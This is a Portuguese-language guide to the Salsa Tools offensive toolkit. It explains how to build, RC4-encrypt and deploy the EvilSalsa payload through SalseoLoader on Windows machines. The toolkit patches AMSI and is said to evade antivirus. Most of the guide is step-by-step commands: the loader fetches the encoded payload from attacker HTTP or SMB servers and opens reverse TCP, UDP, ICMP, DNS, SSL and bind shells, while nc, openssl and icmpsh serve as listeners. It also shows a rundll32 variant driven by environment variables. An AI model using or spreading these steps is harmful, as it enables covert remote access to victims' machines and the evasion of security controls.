
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY e bypass de AV, AMSI patched
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools é uma coleção de três ferramentas diferentes que, combinadas, permitem obter uma reverse shell turbinada em qualquer ambiente Windows sem sequer precisar do PowerShell para sua execução. Para evitar as técnicas de detecção mais recentes (AMSI), a maioria dos componentes foi inicialmente escrita em C#. Salsa Tools foi lançada publicamente por Luis Vacas durante sua palestra “Inmersión en la explotación tiene rima” que ocorreu durante h-c0n em 9 de fevereiro de 2019.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* AV Safe (17 de fevereiro)
* Patchers de AMSI
* Execução de PowerShell
* ...
Salsa-Tools é composta por três ingredientes diferentes: - EvilSalsa - EncrypterAssembly - SalseoLoader E seu comportamento é o seguinte:
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] Esse é nosso Payload
EvilSalsa é o ingrediente chave desta receita. Contém o payload, que é executado no sistema da seguinte forma: assim que o payload inicia, ele executa System.Management.Automation.dll que cria um runspace. Dentro desse runspace temos quatro tipos de shells (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Uma vez que EvilSalsa é carregada, a primeira coisa a fazer é verificar a existência de c:\windows\system32\amsi.dll. Se existir, é corrigida usando uma variante caseira dos bypasses do CyberArk e do Rastamouse.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] Software que encripta o payload usando RC4
[+] Temos a versão em Python e a versão em .exe
EncrypterAssembly pode ser usado como script Python ou como binário Exe. Ele encripta o EvilSalsa gerado anteriormente.
Uso em Python:
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
Uso do executável:
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoader é responsável por carregar o payload encriptado. Pode ser compilado tanto como biblioteca quanto como executável. Se executado como executável, os argumentos escolhidos devem ser fornecidos quando o executável for executado. Se compilado como biblioteca, o descritor "main" deve ser exportado. Os argumentos são adicionados usando variáveis de ambiente.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] Uso:
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] Payloads Disponíveis:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
Baixe o código fonte do Github e compile EvilSalsa e SalseoLoader. Você precisará do Visual Studio instalado para compilar o código.
Compile esses projetos para a arquitetura da máquina Windows onde você vai usá-los (se o Windows suportar x64, compile para essa arquitetura).
Você pode selecionar a arquitetura dentro do Visual Studio na aba "Build" à esquerda, em "Platform Target".
(Se você não encontrar essas opções, clique na aba "Project" e depois em " Properties")

Depois, compile ambos os projetos (Build -> Build Solution) (nos logs aparecerá o caminho do executável):

Primeiramente, você precisará codificar a EvilSalsa.dll. Para isso, você pode usar o script Python encrypterassembly.py ou compilar o projeto EncrypterAssembly
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
Ok, agora você tem tudo que precisa para executar toda a parada do Salseo: a EvilSalsa.dll codificada e o binário do SalseoLoader. Faça upload do binário SalseoLoader.exe para a máquina. Ele não deve ser detectado por nenhum AV...
Lembre-se de iniciar um nc como listener da reverse shell e um servidor HTTP para servir a evilsalsa codificada.
SalseoLoader.exe password http://<IP-Atacante>/evilsalsa.dll.txt reversetcp <IP-Atacante> <Porta>
Lembre-se de iniciar um nc como listener da reverse shell e um servidor SMB para servir a evilsalsa codificada (impacket-smbserver).
SalseoLoader.exe password \\<IP-Atacante>/pasta/evilsalsa.dll.txt reverseudp <IP-Atacante> <Porta>
Configure o listener na máquina atacante:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <porta> -tls1
Execute o backdoor:
SalseoLoader.exe password C:/caminho/para/evilsalsa.dll.txt ReverseSSL <IP-Atacante> <Porta>
Desta vez você precisa de uma ferramenta especial no cliente para receber a reverse shell. Baixe: [https://github.com/inquisb/icmpsh]
Desabilitar respostas ICMP:
#Ao finalizar, você pode reativá-las executando:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
Execute o cliente:
python icmpsh_m.py "<IP-Atacante>" "<IP-Vítima>"
Dentro da vítima, vamos executar a parada do salseo:
SalseoLoader.exe password C:/Caminho/para/evilsalsa.dll.txt reverseicmp <IP-Atacante>
Abra o projeto SalseoLoader usando o Visual Studio.
Antes da função main, adicione esta linha: [DllExport]

Tools --> NuGet Package Manager --> Manage NuGet Packages for Solution...

Pesquise pelo pacote DllExport (usando a aba Browse) e pressione Install (e aceite o popup)

Na sua pasta do projeto apareceram os arquivos: DllExport.bat e DllExport_Configure.bat
Pressione Uninstall (sim, é estranho, mas confie em mim, é necessário)

Apenas saia do Visual Studio
Então, vá para a sua pasta SalseoLoader e execute DllExport_Configure.bat Selecione x64 (se for usá-lo dentro de uma máquina x64, que foi meu caso), selecione System.Runtime.InteropServices (dentro de Namespace para DllExport) e pressione Apply

[DllExport] não deve mais ser marcado como erro

Selecione Output Type = Class Library (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)

Selecione plataforma x64 (Project --> SalseoLoader Properties --> Build --> Platform target = x64)

Para compilar a solução: Build --> Build Solution (Na console de saída aparecerá o caminho da nova DLL)
Copie e cole a DLL onde deseja testá-la.
Execute:
rundll32.exe SalseoLoader.dll,main
Se nenhum erro aparecer, provavelmente você tem uma DLL funcional!!
Não se esqueça de usar um servidor HTTP e configurar um listener nc
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Documentado por https://github.com/carlospolop-forks/